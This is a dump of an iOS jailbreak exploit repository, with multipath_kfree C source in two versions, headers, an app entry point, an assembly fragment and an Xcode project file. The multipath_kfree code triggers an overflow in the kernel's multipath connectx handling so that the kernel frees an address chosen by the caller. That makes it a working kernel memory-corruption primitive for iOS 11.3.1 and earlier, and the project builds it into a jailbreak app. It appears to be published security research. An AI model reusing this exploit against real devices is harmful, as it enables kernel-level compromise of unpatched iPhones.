ldp x24, x25, [x30, 0xc0] ldp x26, x27, [x30, 0xd0] ldp x28, x29, [x30, 0xe0] brk 0 .align 3 ================================================ FILE: extra_recipe/main.m ================================================ // // main.m // multipath_kfree // // Created by q on 6/1/18. // Copyright © 2018 kjljkla. All rights reserved. // #import #import "AppDelegate.h" int main(int argc, char * argv[]) { @autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); } } ================================================ FILE: extra_recipe/multipath_kfree.c ================================================ // // multipath_kfree.h // multipath_kfree // // Created by John Åkerblom on 6/1/18. // #include "multipath_kfree.h" #include #include #include #include #include #include #ifndef AF_MULTIPATH #define AF_MULTIPATH 39 #endif #define MULTIPATH_ERRNO_CHECK // Enable rudimentary error checking. Not thread-safe. #ifdef MULTIPATH_ERRNO_CHECK #include #endif #pragma pack(push, 1) struct not_todescos_not_essers_ipc_object { uint8_t zeroes[132-88]; // Unused by us uint32_t mpte_itfinfo_size; // If > 4, ->mpte_itfinfo free'd uint8_t nonzeroes[168-136]; // Unused by us uint8_t nonzeroes2[16]; // Unused by us uint64_t mpte_itfinfo; // Address to free }; #pragma pack(pop) static void _multipath_connectx_overflow(int sock, void *buf, size_t n) { struct sockaddr_in *sa_dst = calloc(1, 0x4000); memset(sa_dst, 0x0, 0x4000); memcpy(sa_dst, buf, n); sa_dst->sin_family = AF_UNSPEC; sa_dst->sin_len = n; struct sockaddr_in sa_src; memset(&sa_src, 0, sizeof(sa_src)); sa_src.sin_family = AF_INET; sa_src.sin_len = 255; sa_endpoints_t sae; sae.sae_srcif = 0; sae.sae_srcaddr = (struct sockaddr *)&sa_src; sae.sae_srcaddrlen = 255; sae.sae_dstaddr = (struct sockaddr *)sa_dst; sae.sae_dstaddrlen = (socklen_t)n; #ifdef MULTIPATH_ERRNO_CHECK errno = 0; #endif // Trigger overflow connectx(sock, &sae, SAE_ASSOCID_ANY, 0, NULL, 0, NULL, NULL); // We expect return value -1, errno 22 on success (but they don't guarantee it) #ifdef MULTIPATH_ERRNO_CHECK if (errno == 1) { // Protip: Apple actually charges more than $100 for some regions (RIP 1000 SEK) *(int *)("You") = (int)"need to pay Apple $100 (add the multipath entitlement)"; } else if (errno == 47) { *(int *)("You") = (int)"need to find another bug (iOS <= 11.3.1 only)"; } #endif free(sa_dst); } static void _multipath_kfree(int sock, uint64_t addr, size_t addr_size) { struct not_todescos_not_essers_ipc_object s; memset(&s, 0x00, sizeof(s)); memset(&s.nonzeroes, 0x42, sizeof(s.nonzeroes)); //memset(&_s1.nonzeroes2, 0x42, sizeof (_s.nonzeroes2)); // Irrelevant s.mpte_itfinfo_size = 8; // > 4 s.mpte_itfinfo = addr; // Address to free _multipath_connectx_overflow(sock, &s, sizeof(s) - sizeof(s.mpte_itfinfo) + addr_size); // Close for cleanup by GC close(sock); } /* multipath_kfree: cause GC to free a kernel address. */ void multipath_kfree(uint64_t addr) { int mp_sock = socket(AF_MULTIPATH, SOCK_STREAM, 0); _multipath_kfree(mp_sock, addr, sizeof(addr)); } /* multipath_kfree_nearby_self: cause GC to free a "nearby" kernel address. NOTE: closes mp_sock */ void multipath_kfree_nearby_self(int mp_sock, uint16_t addr_lowest_part) { _multipath_kfree(mp_sock, addr_lowest_part, sizeof(addr_lowest_part)); } ================================================ FILE: extra_recipe/multipath_kfree.h ================================================ // // multipath_kfree.c // multipath_kfree // // Created by John Åkerblom on 6/1/18. // #include #ifndef multipath_kfree_h #define multipath_kfree_h /* multipath_kfree: cause GC to free a kernel address. */ void multipath_kfree(uint64_t addr); /* multipath_kfree_nearby_self: cause GC to free a "nearby" kernel address. NOTE: closes mp_sock */ void multipath_kfree_nearby_self(int mp_sock, uint16_t addr_lowest_part); #endif ================================================ FILE: extra_recipe_extra_extra_bug.xcodeproj/project.pbxproj ================================================ // !$*UTF8*$! { archiveVersion = 1; classes = { }; objectVersion = 46; objects = { /* Begin PBXBuildFile section */ 12242AA520C1BAF400B28377 /* multipath_kfree.c in Sources */ = {isa = PBXBuildFile; fileRef = 12242AA120C1BAF300B28377 /* multipath_kfree.c */; }; 12242AA620C1BAF400B28377 /* extra_recipe_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 12242AA220C1BAF300B28377 /* extra_recipe_utils.c */; }; 1260990B20C2C9680095B5C1 /* sha256.o in Frameworks */ = {isa = PBXBuildFile; fileRef = 1260990820C2C9670095B5C1 /* sha256.o */; }; 1260990C20C2C9680095B5C1 /* qilin_tfp0less.o in Frameworks */ = {isa = PBXBuildFile; fileRef = 1260990920C2C9670095B5C1 /* qilin_tfp0less.o */; }; 1260990D20C2C9680095B5C1 /* sha1.o in Frameworks */ = {isa = PBXBuildFile; fileRef = 1260990A20C2C9670095B5C1 /* sha1.o */; }; B0E5165B1E39459300CE4C47 /* README in Resources */ = {isa = PBXBuildFile; fileRef = B0E5165A1E39459300CE4C47 /* README */; }; B0F37BC11E361EAE00179E85 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = B0F37BC01E361EAE00179E85 /* AppDelegate.swift */; }; B0F37BC31E361EAE00179E85 /* ViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = B0F37BC21E361EAE00179E85 /* ViewController.swift */; }; B0F37BC61E361EAE00179E85 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B0F37BC41E361EAE00179E85 /* Main.storyboard */; }; B0F37BC81E361EAE00179E85 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = B0F37BC71E361EAE00179E85 /* Assets.xcassets */; }; B0F37BCB1E361EAE00179E85 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = B0F37BC91E361EAE00179E85 /* LaunchScreen.storyboard */; }; B0F37BD51E361FCC00179E85 /* jailbreak.c in Sources */ = {isa = PBXBuildFile; fileRef = B0F37BD31E361FCC00179E85 /* jailbreak.c */; }; B0F37BDE1E37AC0700179E85 /* load_regs_and_crash.s in Sources */ = {isa = PBXBuildFile; fileRef = B0F37BDD1E37AC0700179E85 /* load_regs_and_crash.s */; }; /* End PBXBuildFile section */ /* Begin PBXFileReference section */ 12242A8A20C1B84900B28377 /* extra_recipe.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = extra_recipe.entitlements; sourceTree = ""; }; 12242AA120C1BAF300B28377 /* multipath_kfree.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = multipath_kfree.c; sourceTree = ""; }; 12242AA220C1BAF300B28377 /* extra_recipe_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = extra_recipe_utils.c; sourceTree = ""; }; 12242AA320C1BAF300B28377 /* extra_recipe_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = extra_recipe_utils.h; sourceTree = ""; }; 12242AA420C1BAF300B28377 /* multipath_kfree.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = multipath_kfree.h; sourceTree = ""; }; 1260990720C2C9670095B5C1 /* QiLin.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = QiLin.h; sourceTree = ""; }; 1260990820C2C9670095B5C1 /* sha256.o */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.objfile"; path = sha256.o; sourceTree = ""; }; 1260990920C2C9670095B5C1 /* qilin_tfp0less.o */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.objfile"; path = qilin_tfp0less.o; sourceTree = ""; }; 1260990A20C2C9670095B5C1 /* sha1.o */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.objfile"; path = sha1.o; sourceTree = ""; }; B0E5165A1E39459300CE4C47 /* README */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text; path = README; sourceTree = ""; }; B0F37BBD1E361EAE00179E85 /* extra_recipe.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = extra_recipe.app; sourceTree = BUILT_PRODUCTS_DIR; }; B0F37BC01E361EAE00179E85 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = ""; }; B0F37BC21E361EAE00179E85 /* ViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ViewController.swift; sourceTree = ""; }; B0F37BC51E361EAE00179E85 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; B0F37BC71E361EAE00179E85 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; B0F37BCA1E361EAE00179E85 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; B0F37BCC1E361EAE00179E85 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; B0F37BD21E361FCC00179E85 /* extra_recipe-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "extra_recipe-Bridging-Header.h"; sourceTree = ""; }; B0F37BD31E361FCC00179E85 /* jailbreak.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = jailbreak.c; sourceTree = ""; }; B0F37BDD1E37AC0700179E85 /* load_regs_and_crash.s */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.asm; path = load_regs_and_crash.s; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ B0F37BBA1E361EAD00179E85 /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( 1260990D20C2C9680095B5C1 /* sha1.o in Frameworks */, 1260990C20C2C9680095B5C1 /* qilin_tfp0less.o in Frameworks */, 1260990B20C2C9680095B5C1 /* sha256.o in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXFrameworksBuildPhase section */ /* Begin PBXGroup section */ B0F37BB41E361EAD00179E85 = { isa = PBXGroup; children = ( B0F37BBF1E361EAE00179E85 /* extra_recipe */, B0F37BBE1E361EAE00179E85 /* Products */, ); sourceTree = ""; }; B0F37BBE1E361EAE00179E85 /* Products */ = { isa = PBXGroup; children = ( B0F37BBD1E361EAE00179E85 /* extra_recipe.app */, ); name = Products; sourceTree = ""; }; B0F37BBF1E361EAE00179E85 /* extra_recipe */ = { isa = PBXGroup; children = ( 12242A8A20C1B84900B28377 /* extra_recipe.entitlements */, B0F37BC01E361EAE00179E85 /* AppDelegate.swift */, B0F37BC21E361EAE00179E85 /* ViewController.swift */, B0F37BC41E361EAE00179E85 /* Main.storyboard */, B0F37BC71E361EAE00179E85 /* Assets.xcassets */, B0F37BC91E361EAE00179E85 /* LaunchScreen.storyboard */, B0F37BCC1E361EAE00179E85 /* Info.plist */, B0F37BD31E361FCC00179E85 /* jailbreak.c */, B0F37BDD1E37AC0700179E85 /* load_regs_and_crash.s */, B0F37BD21E361FCC00179E85 /* extra_recipe-Bridging-Header.h */, B0E5165A1E39459300CE4C47 /* README */, 12242AA220C1BAF300B28377 /* extra_recipe_utils.c */, 12242AA320C1BAF300B28377 /* extra_recipe_utils.h */, 12242AA120C1BAF300B28377 /* multipath_kfree.c */, 12242AA420C1BAF300B28377 /* multipath_kfree.h */, 1260990920C2C9670095B5C1 /* qilin_tfp0less.o */, 1260990720C2C9670095B5C1 /* QiLin.h */, 1260990A20C2C9670095B5C1 /* sha1.o */, 1260990820C2C9670095B5C1 /* sha256.o */, ); path = extra_recipe; sourceTree = ""; }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ B0F37BBC1E361EAD00179E85 /* extra_recipe */ = { isa = PBXNativeTarget; buildConfigurationList = B0F37BCF1E361EAE00179E85 /* Build configuration list for PBXNativeTarget "extra_recipe" */; buildPhases = ( B0F37BB91E361EAD00179E85 /* Sources */, B0F37BBA1E361EAD00179E85 /* Frameworks */, B0F37BBB1E361EAD00179E85 /* Resources */, ); buildRules = ( ); dependencies = ( ); name = extra_recipe; productName = extra_recipe; productReference = B0F37BBD1E361EAE00179E85 /* extra_recipe.app */; productType = "com.apple.product-type.application"; }; /* End PBXNativeTarget section */ /* Begin PBXProject section */ B0F37BB51E361EAD00179E85 /* Project object */ = { isa = PBXProject; attributes = { LastSwiftUpdateCheck = 0810; LastUpgradeCheck = 0810; ORGANIZATIONNAME = "Ian Beer"; TargetAttributes = { B0F37BBC1E361EAD00179E85 = { CreatedOnToolsVersion = 8.1; DevelopmentTeam = 854G7LGZ42; LastSwiftMigration = 0810; ProvisioningStyle = Automatic; SystemCapabilities = { com.apple.Multipath = { enabled = 1; }; }; }; }; }; buildConfigurationList = B0F37BB81E361EAD00179E85 /* Build configuration list for PBXProject "extra_recipe_extra_extra_bug" */; compatibilityVersion = "Xcode 3.2"; developmentRegion = English; hasScannedForEncodings = 0; knownRegions = ( en, Base, ); mainGroup = B0F37BB41E361EAD00179E85; productRefGroup = B0F37BBE1E361EAE00179E85 /* Products */; projectDirPath = ""; projectRoot = ""; targets = ( B0F37BBC1E361EAD00179E85 /* extra_recipe */, ); }; /* End PBXProject section */ /* Begin PBXResourcesBuildPhase section */ B0F37BBB1E361EAD00179E85 /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( B0E5165B1E39459300CE4C47 /* README in Resources */, B0F37BCB1E361EAE00179E85 /* LaunchScreen.storyboard in Resources */, B0F37BC81E361EAE00179E85 /* Assets.xcassets in Resources */, B0F37BC61E361EAE00179E85 /* Main.storyboard in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXResourcesBuildPhase section */ /* Begin PBXSourcesBuildPhase section */ B0F37BB91E361EAD00179E85 /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( 12242AA620C1BAF400B28377 /* extra_recipe_utils.c in Sources */, B0F37BDE1E37AC0700179E85 /* load_regs_and_crash.s in Sources */, B0F37BD51E361FCC00179E85 /* jailbreak.c in Sources */, 12242AA520C1BAF400B28377 /* multipath_kfree.c in Sources */, B0F37BC31E361EAE00179E85 /* ViewController.swift in Sources */, B0F37BC11E361EAE00179E85 /* AppDelegate.swift in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXSourcesBuildPhase section */ /* Begin PBXVariantGroup section */ B0F37BC41E361EAE00179E85 /* Main.storyboard */ = { isa = PBXVariantGroup; children = ( B0F37BC51E361EAE00179E85 /* Base */, ); name = Main.storyboard; sourceTree = ""; }; B0F37BC91E361EAE00179E85 /* LaunchScreen.storyboard */ = { isa = PBXVariantGroup; children = ( B0F37BCA1E361EAE00179E85 /* Base */, ); name = LaunchScreen.storyboard; sourceTree = ""; }; /* End PBXVariantGroup section */ /* Begin XCBuildConfiguration section */ B0F37BCD1E361EAE00179E85 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; ARCHS = "$(ARCHS_STANDARD)"; CLANG_ANALYZER_NONNULL = YES; CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_DOCUMENTATION_COMMENTS = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_SUSPICIOUS_MOVES = YES; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = dwarf; ENABLE_BITCODE = NO; ENABLE_STRICT_OBJC_MSGSEND = YES; ENABLE_TESTABILITY = YES; GCC_C_LANGUAGE_STANDARD = gnu99; GCC_DYNAMIC_NO_PIC = NO; GCC_NO_COMMON_BLOCKS = YES; GCC_OPTIMIZATION_LEVEL = 0; GCC_PREPROCESSOR_DEFINITIONS = ( "DEBUG=1", "$(inherited)", ); GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 10.1; MTL_ENABLE_DEBUG_INFO = YES; ONLY_ACTIVE_ARCH = YES; SDKROOT = iphoneos; SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; TARGETED_DEVICE_FAMILY = "1,2"; VALID_ARCHS = "armv7 armv7s arm64"; }; name = Debug; }; B0F37BCE1E361EAE00179E85 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; ARCHS = "$(ARCHS_STANDARD)"; CLANG_ANALYZER_NONNULL = YES; CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_DOCUMENTATION_COMMENTS = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_SUSPICIOUS_MOVES = YES; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; ENABLE_BITCODE = NO; ENABLE_NS_ASSERTIONS = NO; ENABLE_STRICT_OBJC_MSGSEND = YES; GCC_C_LANGUAGE_STANDARD = gnu99; GCC_NO_COMMON_BLOCKS = YES; GCC_OPTIMIZATION_LEVEL = 0; GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 10.1; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; SWIFT_OPTIMIZATION_LEVEL = "-Owholemodule"; TARGETED_DEVICE_FAMILY = "1,2"; VALIDATE_PRODUCT = YES; VALID_ARCHS = "armv7 armv7s arm64"; }; name = Release; }; B0F37BD01E361EAE00179E85 /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CLANG_ENABLE_MODULES = YES; CODE_SIGN_ENTITLEMENTS = extra_recipe/extra_recipe.entitlements; DEVELOPMENT_TEAM = 854G7LGZ42; INFOPLIST_FILE = extra_recipe/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; OTHER_LDFLAGS = ( "-framework", IOKit, "-pagezero_size", 0x16000, ); PRODUCT_BUNDLE_IDENTIFIER = "com.example.extra-recipe"; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_OBJC_BRIDGING_HEADER = "extra_recipe/extra_recipe-Bridging-Header.h"; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; SWIFT_VERSION = 3.0; }; name = Debug; }; B0F37BD11E361EAE00179E85 /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CLANG_ENABLE_MODULES = YES; CODE_SIGN_ENTITLEMENTS = extra_recipe/extra_recipe.entitlements; DEVELOPMENT_TEAM = 854G7LGZ42; INFOPLIST_FILE = extra_recipe/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; OTHER_LDFLAGS = ( "-framework", IOKit, "-pagezero_size", 0x16000, ); PRODUCT_BUNDLE_IDENTIFIER = "com.example.extra-recipe"; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_OBJC_BRIDGING_HEADER = "extra_recipe/extra_recipe-Bridging-Header.h"; SWIFT_VERSION = 3.0; }; name = Release; }; /* End XCBuildConfiguration section */ /* Begin XCConfigurationList section */ B0F37BB81E361EAD00179E85 /* Build configuration list for PBXProject "extra_recipe_extra_extra_bug" */ = { isa = XCConfigurationList; buildConfigurations = ( B0F37BCD1E361EAE00179E85 /* Debug */, B0F37BCE1E361EAE00179E85 /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; B0F37BCF1E361EAE00179E85 /* Build configuration list for PBXNativeTarget "extra_recipe" */ = { isa = XCConfigurationList; buildConfigurations = ( B0F37BD01E361EAE00179E85 /* Debug */, B0F37BD11E361EAE00179E85 /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; /* End XCConfigurationList section */ }; rootObject = B0F37BB51E361EAD00179E85 /* Project object */; } ================================================ FILE: extra_recipe_extra_extra_bug.xcodeproj/project.xcworkspace/contents.xcworkspacedata ================================================ ================================================ FILE: extra_recipe_extra_extra_bug.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist ================================================ IDEDidComputeMac32BitWarning ================================================ FILE: extra_recipe_extra_extra_bug.xcodeproj/xcuserdata/ianbeer.xcuserdatad/xcschemes/extra_recipe.xcscheme ================================================ ================================================ FILE: extra_recipe_extra_extra_bug.xcodeproj/xcuserdata/ianbeer.xcuserdatad/xcschemes/xcschememanagement.plist ================================================ SchemeUserState extra_recipe.xcscheme orderHint 0 SuppressBuildableAutocreation B0F37BBC1E361EAD00179E85 primary ================================================ FILE: multipath_kfree/multipath_kfree.c ================================================ // Created by John Åkerblom 2018-06-01 #include "multipath_kfree.h" #include #include #include #include #include #include #define MULTIPATH_ERRNO_CHECK // Enable rudimentary error checking. Not thread-safe. #ifdef MULTIPATH_ERRNO_CHECK #include #endif #pragma pack(push, 1) struct not_todescos_not_essers_ipc_object { uint8_t zeroes[132-88]; // Unused by us uint32_t mpte_itfinfo_size; // If > 4, ->mpte_itfinfo free'd uint8_t nonzeroes[168-136]; // Unused by us uint8_t nonzeroes2[16]; // Unused by us uint64_t mpte_itfinfo; // Address to free }; #pragma pack(pop) static void _multipath_connectx_overflow(int sock, void *buf, size_t n) { struct sockaddr_in *sa_dst = calloc(1, 0x4000); memset(sa_dst, 0x0, 0x4000); memcpy(sa_dst, buf, n); sa_dst->sin_family = AF_UNSPEC; sa_dst->sin_len = n; struct sockaddr_in sa_src; memset(&sa_src, 0, sizeof(sa_src)); sa_src.sin_family = AF_INET; sa_src.sin_len = 255; sa_endpoints_t sae; sae.sae_srcif = 0; sae.sae_srcaddr = (struct sockaddr *)&sa_src; sae.sae_srcaddrlen = 255; sae.sae_dstaddr = (struct sockaddr *)sa_dst; sae.sae_dstaddrlen = (socklen_t)n; #ifdef MULTIPATH_ERRNO_CHECK errno = 0; #endif // Trigger overflow connectx(sock, &sae, SAE_ASSOCID_ANY, 0, NULL, 0, NULL, NULL); // We expect return value -1, errno 22 on success (but they don't guarantee it) #ifdef MULTIPATH_ERRNO_CHECK if (errno == 1) { // Protip: Apple actually charges more than $100 for some regions (RIP 1000 SEK) *(int *)("You") = (int)"need to pay Apple $100 (add the multipath entitlement)"; } else if (errno == 47) { *(int *)("You") = (int)"need to find another bug (iOS < 11.3.1 only)"; } #endif free(sa_dst); } static void _multipath_kfree(int sock, uint64_t addr, size_t addr_size) { struct not_todescos_not_essers_ipc_object s; memset(&s, 0x00, sizeof(s)); memset(&s.nonzeroes, 0x42, sizeof(s.nonzeroes)); //memset(&_s1.nonzeroes2, 0x42, sizeof (_s.nonzeroes2)); // Irrelevant s.mpte_itfinfo_size = 8; // > 4 s.mpte_itfinfo = addr; // Address to free _multipath_connectx_overflow(sock, &s, sizeof(s) - sizeof(s.mpte_itfinfo) + addr_size); // Close for cleanup by GC close(sock); } /* multipath_kfree: cause GC to free a kernel address. NOTE: closes mp_sock */ void multipath_kfree(int mp_sock, uint64_t addr) { _multipath_kfree(mp_sock, addr, sizeof(addr)); } /* multipath_kfree_nearby_self: cause GC to free a "nearby" kernel address. NOTE: closes mp_sock */ void multipath_kfree_nearby_self(int mp_sock, uint16_t addr_lowest_part) { _multipath_kfree(mp_sock, addr_lowest_part, sizeof(addr_lowest_part)); } ================================================ FILE: multipath_kfree/multipath_kfree.h ================================================ // Created by John Åkerblom 2018-06-01 #include #ifndef multipath_kfree_h #define multipath_kfree_h /* multipath_kfree: cause GC to free a kernel address. NOTE: closes mp_sock */ void multipath_kfree(int mp_sock, uint64_t addr); /* multipath_kfree_nearby_self: cause GC to free a "nearby" kernel address. NOTE: closes mp_sock */ void multipath_kfree_nearby_self(int mp_sock, uint16_t addr_lowest_part); #endif